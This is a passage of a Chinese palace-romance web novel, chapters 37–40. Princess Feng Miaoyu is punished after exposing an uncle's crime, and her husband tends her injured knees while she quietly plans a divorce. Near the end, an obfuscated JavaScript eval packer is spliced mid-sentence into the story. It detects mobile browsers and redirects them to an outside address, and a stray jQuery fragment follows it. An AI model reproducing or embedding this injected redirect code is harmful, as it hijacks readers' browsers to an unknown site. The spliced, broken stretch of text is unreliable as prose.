冯重明看过后抬头睨了她一眼,淡淡问:“这件事情还有谁知道?” “除了儿臣以外,目前只有书写陈情书的两人知晓。这两人现在在儿臣府中,儿臣已经命人将他们两人看管起来了。” 冯重明满意地点了点头,命刘公公收起陈情书和木牌,冯妙瑜见状,心里微微一沉。 “这件事情上老八确实做的不够地道,朕这几天会找个时间提点他一二的。你皇叔那个脾气你也是知道的,许是那人顶撞了他,他不小心说了两句气话,结果下面的人给当真了,下手重了点。京兆府的人做事不当心,该罚。” 两句话,轻描淡写就草草了结了一桩人命官司。 帝王已做出了决断。冯妙瑜捏着杯盏沉默了一会,只能轻轻道:“儿臣明白了。府里那两人儿臣回去后会想办法安抚的。” “缺什么就和朕说。他们要是借此狮子大开口,你来回朕就是。”冯重明道:“今晚你就在宫里宿下,省的来来回回跑折腾了。” 37. 37 从东宫到太极宫不过小半炷香光景,一路上,小书童已经为冯敬文整理了三回衣冠。 碧空如洗。昨夜下了半晚上的雨,风里不可避免染着几丝寒意。 这日也不是什么特别的日子,只是帝王定下检查冯敬文的功课的日子。像这样的日子每月少说五六次,每次都能让东宫上下从早上紧张到晚上。当然,最紧张的还要属冯敬文本人。 “……是,是以太山不让土壤,故能成其大;河海不择细流,故能就其深;王者不却众庶,故能明,明,呃,明其德?然后是什么来着……”冯敬文的指甲都掐到肉里,他用只有自己能听到的声音磕磕绊绊顺了近来新学的功课,在宫门外边徘徊了两三圈,才终于下决心踏进太极宫。① 往里走了两步,冯敬文突然眯起眼睛,他扭头问小书童:“你看前边站着的那个,好像是那谁的侍女啊?” 小书童也眯眼瞅了瞅,离得有些远,他也只能勉强看清楚一个背影。 “那人好像是长公主殿下身边的阿玉姑娘。” 冯妙瑜怎么进宫了? 冯敬文停下脚步。十六岁还得像个刚刚启蒙的小孩子一样给父皇背书已经够丢面子了,再当着冯妙瑜的面……丢人丢到家。她的功课一向做得好,背书写文章都不在话下,父皇就从来不问她的功课。嘴上不说,她肯定在心里笑话他笨。 “我们待会再进去。”冯敬文在一棵大树后站定了。 小书童抬头看天,太阳快走到中天,再不进去就要到用午膳的时辰了。耽搁了时辰最后挨骂的肯定是他,小书童就有些焦躁。但是冯敬文这个人吧,在有些事情上又格外的固执,显然不会听他的劝。 “太子殿下?”这时有人在后面喊。是刘公公。他领着两个徒弟正要去御前侍奉,看见冯敬文在树底下站着不动,心里虽然觉得奇怪,还是上去行了礼。 “您这是要去见皇上?” “前些日子皇上说今天上午要查太子的功课。”小书童解释道。 “啊,是有这么一回事,瞧奴才这记性。”刘公公这才想起来,他皱眉迟疑了一下,“不过今个的早朝上出了点事情,皇上眼下正忙着,这一时半会的恐怕没有时间见您。与其在这等着,殿下要不先回东宫歇着,等皇上空下来了,奴才再差人过去喊您?” “早朝出了事情?难道和冯……”冯敬文眼珠子转了半圈,很快改口,“难道和皇姐有关系?” 刘公公没打算瞒着冯敬文,他瞟了两个徒弟一眼,等两个小太监和冯敬文的小书童皆垂手退到一旁,他才低声道:“算是有些关系吧。” “这事情要说起来,就是献王殿下私底下做了件不体面的事,公主碰巧知道了,昨天半夜入宫将此事禀报给了皇上。” “八皇叔做了什么不体面的事啊?”冯敬文立马竖起耳朵问道。 “这个奴才就不知道了。” 献亲王的事情还没定论呢,刘公公哪敢和冯敬文乱嚼舌根,赶紧找了个借口陪笑着搪塞过去,他继续往下说。 “奴才只知道这事本来私下就了了,结果也不知道怎么回事,竟走漏了风声。今早光是上书要求彻查此事的折子就足足有三十多道,在上面签名的大小官员,还有赴京备考的士子加起来近千人呐。” “照你说的,这是八皇叔的事情,和她有什么关系?” 刘公公顿了半晌,叹道:“话是这么说。只是皇上觉得消息是公主走漏的,这一下早朝就把人叫起来跪在殿外了……皇上这会正在气头上,奴才们哪里敢说什么。” “父皇这是老糊涂了?” 刘公公吓了一跳,连忙低声道:“殿下,这话可不能乱说的呀。” 冯敬文耸了耸肩,一脸轻松,“就开个玩笑,你怎么还当真?” * 冯妙瑜长长地吸了口气。 日头渐高了。金与红,高高的九天阊阖在太阳光的照耀下愈发威严庄重不可侵犯,暖阳落在肩头,初秋的正午,她却觉得无比寒冷。阴湿的冷意一丝丝顺着经脉钻进僵硬发麻的双腿,身子半暖半冷的,心里却是数九寒天,风雪凄凄冷冷。 皇叔的事情她绝对不可能走漏。左右都是一个冯字,一荣俱荣一损俱损的,把这事捅出去闹大对她有什么好处? 她昨天做了哪些事,见了哪些人,找阿玉一问便知。冯妙瑜闭了闭眼睛。这么简单的事情父皇怎么会不清楚,他心里其实门儿清,如今不过是他早上在朝中吞了闷气,在拿她出气罢。 毕竟不是从小养在身边的孩子,父皇对她能有多少情分。 “公主,您不要紧吧?”监工的小太监弯腰问,“您若是实在不舒服,那奴才进去和皇上说一声吧。” 这人要是跪出了问题,那可是他的错过。小太监心里叫苦。 “我没事。” 冯妙瑜摇摇头。 父皇正在气头上,这个时候去说什么都是火上浇油。倒不如就在这跪上几个时辰,等他气消了。 天上的太阳一会只有一个,一会又变成两个,三个,夹杂着黑色的噪点嗡嗡作响,时间的流逝也变模糊,冯妙瑜不知道过去了多久,她低下头,玉白砖石上一道黑色的影子罩住她。 “我真的没事。”冯妙瑜以为是那个监工的小太监又过来了。 过了很久,身后那个人才懒懒开口。 “谁问你有没有事了。我早就说了叫你安分一些,看吧,这就是你多管闲事的下场。”风扬起冯敬文的衣摆,蓝底宽袍,四爪金龙在水云间翱翔。 冯妙瑜没心情搭理他,干脆扭头装作听不见。 “喂,我在跟你说话呢!” 冯敬文瞪大眼睛,他蹲下戳了戳冯妙瑜的肩膀,这才注意到她的脸色比地上的砖石还要苍白,细长的睫毛在风里摇晃,不堪重负般。 “要我帮你向父皇求个情么?”冯敬文笑问道。 话音落于冯妙瑜耳中,字与字之间好像有人用力拉扯着变了形,声音被拽得极长极长,冯妙瑜努力撑着眼想清醒一点,身子却突然一软,整个人咣的一声砸在地上。 * 开明坊,博古斋。 “听说今早只有三十五道折子,比计划 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“三十两?我看起来有那么像冤大头吗?十两最多了。”他把那只扁壶放回原处,“何况要说起来,你这间店铺连带底下的土地都是我的——我拿我自己的东西还需要付帐?” “那你来做什么?”夏宵蔫巴下来。 感情这个人大老远跑过来就为了来挑他的刺? 窗外依旧是一片翠绿,竹影摇曳。谢随沉默了一会,像是下定了决心般,他慢慢取出一张折成四折的信纸放在桌上,用手指推到夏宵面前。 “差不多半个月后,具体时间你随意……找人把这个送到长公主府。” 夏宵草草扫了眼,纸上罗列着几个人名住址,都是和献亲王案子有关的证人。 把自己的东西兜个圈子半月后再送回到自己手里,他这是做什么? 夏宵不解。 “不是送给我,是给她。”谢随淡淡解释道。 有京兆府在后面收拾残局,献亲王一案真正留下来的线索很少,几乎是无从查起的。有这几条线索的话,她的人调查起来能轻松许多。 这算是他的赔礼吧。 夏宵更不解了。 “这件事是你一手策划,你这又是何必?”夏宵叹道,难得严肃起来,“你不会后悔了吧?” “后悔?后悔什么?”谢随起身反问夏宵,他想了想,指指那张信纸,“至于这个。你就当我偶尔发回疯,日行一善做点好事——以免某天突然遭天打雷劈了。” “日行一善?你?”夏宵张大了嘴巴。这是太阳打西边出来了。 他也许真是疯了,才会来托夏宵做这个。谢随扶额想着,临走前还是叮嘱了句:“送信,这事你可别忘记了。” * 冯妙瑜睁开了眼睛。 入目是杏子黄的帐顶,她分明记得自己在殿外跪着的,怎么会躺在这,这里又是哪里?很快有人托着她的背扶她坐起来,半碗糖水喝下去后,整个人都舒畅了许多。 冯敬文就站在不远处,双手背在身后,手心和后背都靠着墙,他表情复杂地看着她。有些无措。 “你……还好吧?” 38. 38 冯敬文脚尖有一搭没一搭地踢着空气。 方才冯妙瑜突然歪倒在地上,任人怎么叫也没反应,说实话,他吓了一跳。虽说从小不是一起长大的,毕竟是同母的亲姐姐,他说过希望她去死的话,但那也只是随口说说而已……谁会当真呢? 冯妙瑜还没完全缓过劲来,就没说话,宫人取了软枕给她垫在腰后。 冯敬文见冯妙瑜不理他,便自顾自地说起来,“父皇那边我已经和他说了,你不用再跪着了。反正就一句话的事情,你不用谢我。” 冯妙瑜抿嘴在心里冷冷笑了笑,指甲隔着被褥扎到手心里。 一句话的事情? 同样是他的孩子,怎么冯敬文说的话就是话了,她早上还没睡醒就被叫去劈头盖脸一通责骂,大臣们的奏折砸在脚边,她解释千百句,动之以情,晓之以理,原来还抵不得人家一句话管用。真好笑。 她是笑她自己。 做的再多,做的再好又怎样?在帝王眼中还是比不上冯敬文的。 冯敬文还在喋喋不休的说个不停。 “我说你是不是读书把脑子读傻了,这种事情你和父皇说一声解释清楚不就好了,你没有长嘴么,自己苦哈哈跪在外面,还晕过去了。你说你这样作给谁看呢……” 冯妙瑜突然掀开被子摇晃着站起来,膝盖一抽一抽的疼,膝盖以下更是麻木木的什么都感觉不到。阿玉忙上前扶着她。 冯敬文愣了一下,“你怎么起来了?你不舒服起来做什么?” “回家。”冯妙瑜冷冷说,“既然不用跪着了,父皇该没说不许我出宫回家吧?” “没。可你不能走……” 冯敬文本来想说太医已经在来的路上,等太医瞧过再走也不迟,但被冯妙瑜打断了。 她满脑子都是失去意识前冯敬文笑嘻嘻调侃她的模样,这个人什么都不明白!戳人伤口看别人疼的死去活来很好玩吗? “我没死掉,你很失望吗?” 她还是没忍住抽了下鼻子,虽然是弟弟,可他站着时已经比她高出半个头,她看他时得仰着头才行了。 “这些年你不喜欢我,我做什么在你眼里都是错的。其实有句话我早就想说了——” “我也讨厌你。” “从我们第一次见面开始。你也许都记不清楚了吧?” 其实一开始知道自己还有一个弟弟的时候,她是发自内心的高兴,有了一个新的玩伴,她想过他会是什么样的人,喜欢玩什么吃什么……直到他们第一次见面。他把一条手指长的毛虫扔进她衣裳里,她吓得尖叫,他却在一旁捂着肚子哈哈大笑。 “我,我那时只是想吓唬你玩一下而已。”冯敬文回过神来轻轻说,但冯妙瑜已经蹒跚着走出去了。 从皇城回崇仁坊最近是从延禧门出宫。软轿最多只到延禧门处,接下来就该换马车了。 阿玉扶着冯妙瑜从软轿里出来,这时一辆马车停在延禧门门口。车帘掀开,有个人从车上下来,长相憨厚,皂靴上绣着龙纹,步子虚浮着,像是才从宿醉中醒来。 献王冯重晟微微眯起眼睛,见是冯妙瑜,他咧嘴笑了笑。 “这不是我的好侄女么?怎么,你对我上次送去的东西不满?” 浓烈的熏香味里带着一丝丝酒气,冯重晟估计是才得知了消息,匆忙入宫觐见的。至于觐见是为了什么,来伸冤也好,求情也罢。冯妙瑜不想管,便没有说话。 走过她身边时,冯重晟压着声音威胁道:“我之前一直觉得你是个聪明人的,都是一家人,你为何要这样做?看在叔侄一场的份上,我不得不多说一句。私下编排他人不是,到处树敌,这样的人历来没几个好下场……” 说罢,他歪头翻眼睛,做了个被吊起来的手势。。 “多谢皇叔提点。”冯妙瑜平静道。她这些年来苦心经营也不是白干的,一两句话而已,吓唬谁呢?她又不是三五岁的小孩子。 “皇叔既然这么说了,那我也有句话送给皇叔。若要人不知,除非己莫为,有些事皇叔自己心里是最清楚的。那腌臜事情是您自个做的,如今被抖出来,您怪别人做什么?” “日子还长着呢,”冯重晟轻蔑地扫过冯妙瑜,以他的地位,几个小官员的弹劾,又没有实据,他还没放在眼里,“我们走着瞧。” * 谢随下值回府已是酉正,落日熔金,他披着漫天碎金走入院门,就见屋门紧闭,阿玉和翠珠两人正一脸焦急的在屋外徘徊。 见是谢随进来,翠珠就像看到了救命稻草眼前一亮,她有些犹豫,最后还是上前道:“姑爷可算回来了。” “这是怎么了?”院子里的气氛实在是反常,谢随挑眉疑惑道。 翠珠看了眼阿玉,这次冯妙瑜入宫并没有带着她,她简单把从阿玉那里听来的事情复述了一遍。 “公主从宫里回来后就一直一个人呆在屋里头,也不让人进去,奴婢们担心公主的身子,还请您进去看一看要不要紧,”翠珠说着,从上到下撇他一眼,语气带着不甘,“这时候能进去的也只有您了……奴婢们就在外面守着,有什么事情您喊一声就是。” 谢随把手搭在门上,门没有上锁,只是虚掩着,轻轻一推就开了。 屋内没有点灯,昏沉沉的,残阳余晖从窗格空隙间涌进屋里,冯妙瑜就缩在窗边的圈椅里,怀里抱着毛茸茸的雪团,猫儿雪白的毛发被夕阳染成金红,她目不转睛地望着窗外,眼睛里浮动着瑰丽的夕光。 “我说了想一个人呆一会,出去。”冯妙瑜听到推门声,头也不回地说。 “是我。”谢随在门边站了一会才慢慢说。 冯妙瑜愣了一下,发呆的时候时间过得总是格外快。她感觉自己只是刚刚回府坐了一会,这怎么谢随都下值回来了。她张了张嘴,本来想笑笑说句你回来了,却实在没有这份心情,就只轻轻点了点头。 “喝点水?”谢随听她声音嘶哑,倒了杯水轻轻放在她手边。 她依旧穿着昨晚那件衣 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一见钟情么?冯妙瑜在心里淡淡地想,一个下午的时间足够想很多事情了。情之一字上,血脉相连的家人尚且如此,又何况一对陌生的男女。 他对她,有几分是真心,又有几分利用呢? 她歪头枕在谢随肩膀上。他的侧脸精致极了,如工笔画般漂亮的细线条,颜色层层晕染。骗子。她低低叹了口气。 有些事情是不能细想的,因为一旦想了就再也回不去了。 既然不能长久拥有这个人,那么曾经拥有过一段时日也是好的。她不想强求什么,他既不是全心全意待她,痴男怨女,冯妙瑜在他肩膀上依恋似的蹭了蹭,那长痛不如短痛,还是早点分开的好。 至于分开的时间……她很想要一个孩子,那等他们的孩子出生后便和离好了。她平静地想。 冯妙瑜打定主意,终于伸手环抱住谢随,她把头贴在他的身上,带着点哭腔委屈道:“谢随,我好疼……” 这倒不是装出来的,她的腿是真的疼,委屈也是真的委屈。 她很少向他撒娇露出这样软弱的姿态来,多数时候是默默隐忍着的,每每都是实在承受不住了才会抓着他的手软声让他轻一点,慢一点……谢随说不出来来自己心里是什么感觉,只觉得整颗心像是融化了一样柔软。 “没事了,没事了。”谢随轻轻拍着她的脊背安慰道,动作有些笨拙,却格外轻柔,“我叫你的侍女和太医过来给你看看,好不好?” 一大堆人乌泱泱进来围着她那不坏事么!冯妙瑜在心里暗暗骂谢随榆木脑袋不开窍。 “可我不想让他们进来。”于是她抓着他的衣袖,脸埋的更低了些。 “别任性,这个时候处理你的伤要紧。不是疼吗,上了药就好了。”谢随低头哄道。 “可我就是不想让他们来……上药而已,你帮我也可以的吧?” 冯妙瑜想了想,把自己的衣带塞到了谢随掌心里。她眨了眨眼偷偷瞄着谢随,她都这样明示了,他要还不明白,那她也没办法了。 39. 39 府里这些跌打损伤的药都是常备着的,谢随出去吩咐了一声,很快一手端着烛台,一手拎着药箱回来了。 待谢随净过了手,从药箱里挑出治疗於伤的药膏,冯妙瑜却还在榻上坐着。方才谢随出去的时候她撩起衣裙看了一眼,膝盖上青紫交错,还有一大片红肿,实在是难看的很。有谁想在喜欢的人面前出丑?她就有些后悔。早知道就让翠珠她们进来帮她上药…… 只是这时已经是骑虎难下了。 “怎么了?” 谢随走过来,见她有些别扭的用手压着衣裙,不由失笑,“公主方才不是一定要让我帮你上药么,又不是没有看过……” 冯妙瑜脸上一热,她飞快地瞪他一眼,谢随笑笑,知道她脸皮薄就没再说下去了。 谢随半跪在地上,然后伸手去卷她的裙子,此举着实孟浪,她下意识去挡,却被他捏住了脚踝。 “不是腿疼吗?” 他的眉毛微微皱起,一脸认真地抬头望向她。一本正经的,也正因为他的表情太过板正,冯妙瑜反而更不好意思了,她抬手捂住眼睛。 药膏丝丝凉的,指尖伴随着温热的气息轻轻滑过痛处,她悄悄分开手掌透过掌间的缝隙去瞧他。谢随稍稍低着头,一缕碎发落在鬓边,非常专注地盯着她腿上的伤。常年藏在衣衫底下不见光的苍白皮肤青一片红一片的,格外触目惊心。 谢随眼睛垂着,若不是因为他的筹谋,她也不必受这个伤……他想着想着有些分神,手底下动作不免稍重了些,冯妙瑜低低嘶了一声。 其实也没有多疼,只是突然疼了一下她没反应过来而已,谢随却连忙抬起手,愧疚道:“弄疼你了?对不起,是我没注意手重了,再一小会就好了……这样的力道可以吗?” “没事的。”冯妙瑜说。 她静静地看着谢随帮她敷药,手法相当娴熟老练——他似乎不是头一回帮人上药了。她在心里想。上药这回事不说也没什么,但要说起来总归是几分暧昧在里头的。冯妙瑜抿抿嘴,他之前也和别人做过这样的事吗?那个别人是男子,还是个女子呢?越想越不是滋味。只是这样问他似乎又显得她有些忒小心眼了。 “你之前也有帮人这样……上过药吗?”犹豫好一会,冯妙瑜最后还是没忍住问出口。 谢随取药膏的动作突然停顿了一下。 屋里火烛的光荡着,蜡油顺着烛身淌下来,在鎏金烛台边凝结成一块块暗红色伤疤。灰白的青烟中,他沉默了很久没有说话。 屋里的气氛就有些怪异。 冯妙瑜茫然,想来想去只能猜想是不是她说错话了。果然她就不该问的。她正准备说点什么打个圆场,谢随突然缓缓吐了口气。 “我曾经有个妹妹,单名一个宁字。” 谢随的语气听起来很轻松,好像随意聊起家常一样,冯妙瑜的心却往下沉。她果然说错话了!谢家如今只剩下他一个人,那他的妹妹……想来除了在流放路上遇难外,没有别的答案了。她不该问的。 “她的名字是祖父取的。寍(宁),安也。大概是希望她性情和静,一生安宁吧。” “但她却是个闲不住的,有一次甚至还背着侍女和嬷嬷们一个人偷偷爬到了屋顶上很高的地方,把家里人都吓坏了……她老是磕着碰着受伤。她知道父亲母亲发现了要训她,所以每次贪玩受了伤就先跑到我那里,让我帮着她掩盖糊弄过去。”谢随说着收起了药膏,“这样就可以了,最近这段时间伤处尽量不要沾水。”① 这好像是谢随头一回和她提起谢家的事情。 总归是揭他的伤疤了。冯妙瑜伸手扯了下他的袖角,低声道:“对不起。” “这有什么可对不起的?”谢随说,他既然愿意和她说起这个就是不介意的。他收拾了药箱,又问:“饿了吗?我叫她们传晚膳进来。” 待两人用过晚膳,天都黑透了。 冯妙瑜由榴红服侍去梳洗,等她梳洗完回房准备睡觉时,谢随早已经在她之前洗漱完,合衣躺在床靠外侧睡下了。 冯妙瑜在床边停了一会,他的胸膛随着呼吸的节奏微微起伏着,有种说不出来的安宁感。 她尖着嘴吹灭了屋里最后一盏灯。 她本来没打算吵醒他,想着轻手轻脚地越过他到里面睡的,脱去鞋袜后却又改变了主意。 春宵苦短,这秋夜难道就长了么。 于是她瞟了眼谢随,装作腿脚不方便的样子爬上床,重重斜坐在他腰旁。谢随的眼皮动了动,没醒。这个位置到底在床的边缘,空间太小,冯妙瑜就又往里迈了半条腿,她调整了下姿势,整个人非常故意地伏倒在他身侧,两只胳膊搂住他的脖子。离谢随还是有点远,她又往外往谢随方向挪了挪身子。 谢随睁开了眼睛。他方才只是有点犯困而已,没有真的睡着。冯妙瑜爬上床的时候他就清醒了。 冯妙瑜几乎是整个人贴在他身上的,她的唇瓣离他胸口不到一个指甲盖的距离,轻柔的气息就像小羽毛似的扫来扫去,痒痒的。何况寝衣单薄,实在是太近了。他不由得有些紧绷,转念又想到她腿上有伤。 她大概是无意的吧,只是因为受伤不方便才扑到他身上的,不能多想,不能多想。谢随的喉结微微动了下,闭了闭眼,随即伸手把她的手和搭在他腰间的那条腿轻轻放了过去,十分贴心地帮她盖上了被子,最后还拍了两下被子。 “没事了,睡吧。” 反常。 这太反常了。 冯妙瑜张了张嘴,这个人以前可不是这样的,今天这是怎么了?她狐疑地看他一眼,难道是她表现得还不够明显吗? 她缓了下,又慢吞吞地蹭过去。 这事上她一直是有些被动的,突然要她主动,她一时也不知道该从何处下手。她思忖了片刻,闭上眼睛在他的眼尾亲了下。她又偷偷睁开一只眼睛,见谢随没有动作,她只好硬着头皮继续下去。 谢随做了几个深呼吸,才刚刚放松下来,没想到她竟然又靠过来了,软绵绵贴在他身上,还抱着他毫无章法的又亲又啃的……额边青筋直跳,这远不是他能够忍耐得住的。 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再闹下去可就真收不住场了。 “你有伤在身,早点睡。”谢随无奈地说。 “可……” 眼看就差一点了,冯妙瑜还想再努力一把,谢随起身不由分说地将她团团卷进了被子里面,“睡觉!”他说着,下床绕到了屏风后面,过了一会,那边断断续续有水声传来。 这个时候服侍的人早都下去休息了,屋里的水是之前备下的,浇在身上凉透了,冷的人牙齿打颤。不过对谢随来说却正好。 等谢随再回来时,借着微弱的月光,冯妙瑜看到他手里抱着一团东西。 是一床被子。 冯妙瑜异常不满地用手指戳他。 他主动的时候她可从来都没说过一个不字,怎么换了她,他一副见了洪水猛兽模样,还专门拿了一床被子来要分开睡。 “你有伤,碰到伤处怎么办?养伤要紧。等你腿上的伤口好了再说这些。” “总有不碰到伤处的办法的……你多出点力罢了。”冯妙瑜反驳道。 谢随心知再这样和她争辩下去就没完没了了,于是赶紧换了个话题。 “你好像很少提起你以前在宫里的事情,在宫里长大是什么样的感觉?”谢随翻了个身,面对着她问道。 “你问这个做什么?” 冯妙瑜眼神闪躲了一下,一下子没了兴致。那是她不愿意提及的事情,他怎么偏偏问起这个。 谢随摸了下自己的鼻子,他不过是突然好奇她小时候是什么样的而已……虽然都是女孩,但她大概和谢宁不同,她小时候应该是那种很讨人欢喜,又乖巧聪明的孩子吧? “我困了,我们睡觉吧?”冯妙瑜不想再提这个,翻身背对着他打了个哈欠,装作困得不行。 “好。睡吧。” 谢随伸臂从背后将冯妙瑜圈入怀中,又低头,嘴唇轻轻扫过她的头发。 40. 40 接着一连飘了好日雨,树叶子落了一院。满地金黄,亦难掩萧瑟。 秋深了。 “公主,颜先生到了。正在花厅等您呢。” 冯妙瑜午睡才醒,榴红背光挑了棉帘进来说。 颜先生是个身材矮小的中年人,穿着件半旧不新的褐色布袍,头发乱蓬蓬,一把又长又密的胡子却梳理的齐整漂亮。冯妙瑜走进花厅时,他正歪头对墙上一副花鸟画嘀咕着什么,没出声的。此人瞧着神叨叨,却是冯妙瑜手下最重要的幕僚之一。非常能干。冯妙瑜很是器重。 冯妙瑜笑着和颜先生打了个招呼,摆手叫榴红上茶。 自献亲王冯重晟之事事发以来,不只是京畿,各地不少寒门官员士子纷纷站出来上书检举控诉世家。事情越闹越大,首当其冲的自然是冯重晟。对他的调查由台院的两位侍御史带头,调查进行的如火如荼——大概是自信京兆府的办事能力,他本人倒不大在乎的样子。每天该吃吃该喝喝该玩玩,剩下的精力全用在针对冯妙瑜上。 冯妙瑜今日叫颜先生来主要就是为商议这事。 有些事情是忍一忍就能风平浪静的,但对于皇叔这样的人,忍一时,只会助长对方气焰,让对方更加肆无忌惮而已。 纵使颜先生有备而来,待两人商议敲定下反击的对策后,日已西沉。谢随今晚在外面有应酬,冯妙瑜知道颜先生要回家去陪发妻用膳也不留他,亲自送他到影壁处,颜先生拱手告辞欲走,冯妙瑜犹豫再三,还是叫住了他。 “颜先生,倒还有件事。劳烦你回去草拟份和离书,得空差人送过来。” “和离书?公主怎么突然提起这个来,”颜先生一手捋捋自己的长胡子,她成亲可是连一年都不到,他想了想问:“可是驸马犯了什么错?” 冯妙瑜轻轻摇头。 “那是夫妻感情方面有不和?” 冯妙瑜还是摇头。 “和离的事情倒不着急,快则一年内,慢些可能要一两年。” 颜先生沉吟少许,低声道:“恕老拙僭越,可否问下公主突然要和离的缘由?既然驸马无过错,您二人感情也没问题,才成亲没多久就和离,这种事情上吃亏的多是女子,对您的影响不好。” “缘由的话,算是成全他吧。”冯妙瑜折了支满开的金桂在手里把玩。 “成全?” 揉碎的树叶汁液渗进指甲缝,一弯弯淡绿的月牙儿白惨惨浮上来,她扯扯嘴角,“他待我不差,但是也不全是真心。他究竟有几分真心,几分为其他的,仕途前程,我说不好。” “公主,”颜先生欲言又止,“世上没有几个人能百分百拿出真心待旁人的。” “我知道,人都有私心。所以我不怪他。如果他是为了仕途,那他已经如愿了……又何必拴着他,最后弄得大家都不痛快呢?” 说到这里,她叹了口气,硬着心肠继续往下。 “不属于我的东西终究不是我的。能拥有一时我已经很满足了。眼下还新鲜着看不出来,柴米油盐酱醋茶,日复一日下去,他的心意能持续多久呢?与其纠缠到相看两厌,恩断义绝的那一天,不如早早断了,少点痛,还能彼此留点好的念想。” “公主何须这般悲观?也许往后日子长了,感情越发深了。” “那样的终究是少数,”不想承认,但她确实是在害怕不安的,害怕到哪怕有一点点不对劲的苗头也要先掐灭了再说,“这件事情我考虑了很久,你不必再劝。” 岁月煎人寿,她大概是没有这个福气的。① “逃避解决不了问题。”颜先生说。 “随您怎么说。这事先您一个人知道就行。”冯妙瑜笑笑,目送他上了马车。马车走了。 独自用过晚膳,冯妙瑜又去书房处理一阵公事,实在是熬不住了才一个人先睡下,她给谢随留了盏小灯。 今日秘书省中一位同僚幸得右迁,谢随与他都是王大人的门生,论资排辈谢随喊他一声师兄的,应酬的难免晚些,夜半才醉醺醺回府。 烛影惶惶,冯妙瑜迷迷糊糊地觑着眼,“回来了?”她问,她似乎又回到了没成亲前的那些时日,夜里有一点动响都睡不安稳。 有人嗯了一声,很快掀起棉帐钻进被子里。澡豆清香里带着点酒气,暖烘烘的,冯妙瑜听到是谢随的声音,伸手抱住他的胳膊。 她脸颊上微微带着熏暖的红晕,谢随说:“最近应酬多,不用等我的。”他顿了顿,“腿上的伤可记得上药了?” “榴红帮我上过药了……这还没到过年呢。”冯妙瑜含糊咕哝着。 每逢年底才是官员应酬最多的时候,拜师访友,同僚往来,你拜我我拜你,林林总总加起来多的时候得跑十几家。一天下来,累得恨不得永远瘫软在上床榻歇息。 “都是些小应酬,去了没多少意思,推又不好推掉。下月就是圣上的生辰了吧?那日我刚好有点事情……”谢随迟疑道。 帝王生辰当天百官可以休沐一日。户部的几位大人约他那日去平康坊一同游玩——这是个拉进关系,甚至收买人心的好机会。但是帝王生辰,他身为驸马不随冯妙瑜进宫祝寿又不大合适。 冯妙瑜仍然闭着眼睛,但谢随话里的话她听出来了。 “父皇的生辰你进不进宫都行。” 太后还病着,父皇的生辰就算是要办也是一切从简,没那么多讲究。 “你要有事就去忙你的事情,父皇不会在意这个的。” 入秋后天气是一天比一天冷了,他喝了酒,身上比往常更加暖和。小动物也好人也好,到了天冷的时候多少有些趋暖性,冯妙瑜又往他怀里钻了钻,等谢随再说话的时候,她已经睡过去了。 翌日冯妙瑜醒来,身边空落落的。谢随早已经洗漱过去上值了。她摸了摸他睡过的地方,仍有余温残留。 习惯了有这个人在身边的的日子,现在她又要学着去习惯,提前适应没有他的日子了。 吃过早饭,冯妙瑜前脚走进书房,后脚阿玉就来送东西了。榴红在书桌边上伺候笔墨,冯妙瑜接过来翻了翻,是府里这个月的账簿和今天收到的书信。 “翠珠呢?最近老不见她。”冯妙瑜一面翻着账簿,一面奇怪道。 账簿这些都还是翠珠管着,怎么是阿玉来送。 “好像下面有间米油行什么的账面怎么都对不上,她看账去了。”阿玉道。 “这么一大早她跑那边去看账了?”冯妙瑜抬起头。 “翠珠是这么说的。有什么不妥吗?”阿玉说。 一间米油行而已,哪里用得着她这个公主府的大管账专门跑过去对账,叫人把账送到府里来不是更方便?但阿玉从来不管这些,不知道情况,冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833010|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙瑜知道问了也是白问。 算了,也许是那间米油行的账实在棘手吧。 翻着翻着,冯妙瑜目光停在问梅阁的账面上。笔墨纸砚,光白纸就要了不下三百张,还有诸如铁砂、圆木等物,苍宴这是要做什么?她揉了揉太阳穴。眼下翠珠出府去,她想问都没个人能问的。 “你跟我去问梅阁一趟。”冯妙瑜说。 榴红没有应声,磨条一圈圈在鸭头绿的洮砚中打转,她垂着头好像在想事情,冯妙瑜又叫了两回,她才呆呆抬起头回过神来。 “怎么了?”冯妙瑜问她。 “没什么。”榴红忙收敛心神,摇头笑笑。 两人便往问梅阁走去。 如今问梅阁可不止住着苍宴一人。从那晚起白去华和赵岳二人也暂住于此。冯重晟之事一日未决,二人的安全就没法得到保障。冯妙瑜和白尧商量后决定在事情解决前,二人暂时先住在她府里。冯重晟再嚣张也不可能直接冲进她府里抢人,何况旁边还住着还苍宴呢。 两人还没走到跟前,远远就听到苍宴的声音。 “五十七,五十八,五十九……这就不行了?你们还差的远呢……你!哆嗦什么呢,给我打直了!抬高,再高!使点劲,别偷懒!” 一声惊叫。 冯妙瑜和榴红对视一眼,加快脚步。推开院门,短短数日过去,问梅阁整个变了样。 院里苍宴拿着根半人高的竹棍晃悠着,白衣,依旧是飘然若仙模样,只是院子里另外两人可就没他这般从容了。 白去华和赵岳两人双手打平按掌撑开,正在院里踢腿。脚踝上绑着沙袋,从北头走到南头,再从南头走回北头,走一步踢一下,踢上去那条腿必须高过腰,底下撑着的腿必须板直的不能打弯,不然就是苍宴的竹棍招呼。 初秋的早上,两人都被汗浸湿了,赵岳甚至光着膀子……见冯妙瑜两人进来,他也顾不上苍宴的竹棍,连忙扭身背对两人套上了外衣。 竹棍在地上敲了两下,苍宴一脸不满。 “有事找他们?来也不提前说一声,没眼色!”苍宴言简意赅,转脸又十分威严地扫过踢腿的两人,“算你们走运,休息会。待会再从头踢一百下。” 他说罢转身进屋,白去华听到他后面那句待会再从头踢一百下,累的翻了个白眼,一屁股歪倒在地上。赵岳好些,还有劲站着说话。 “是我们求了苍公子硬要他教我们点功夫防身的,”他挠挠头,有些害羞,“苍公子是个好人。” 问梅阁里添置那些东西原来是为了这个。冯妙瑜的表情有些复杂,她看了眼紧闭的屋门。没想到他愿意做这个……触景难免生情,真是难为他了。 赵岳颤巍巍拉冯妙瑜走到院子边上,小声道:“有一事我想问问您——” 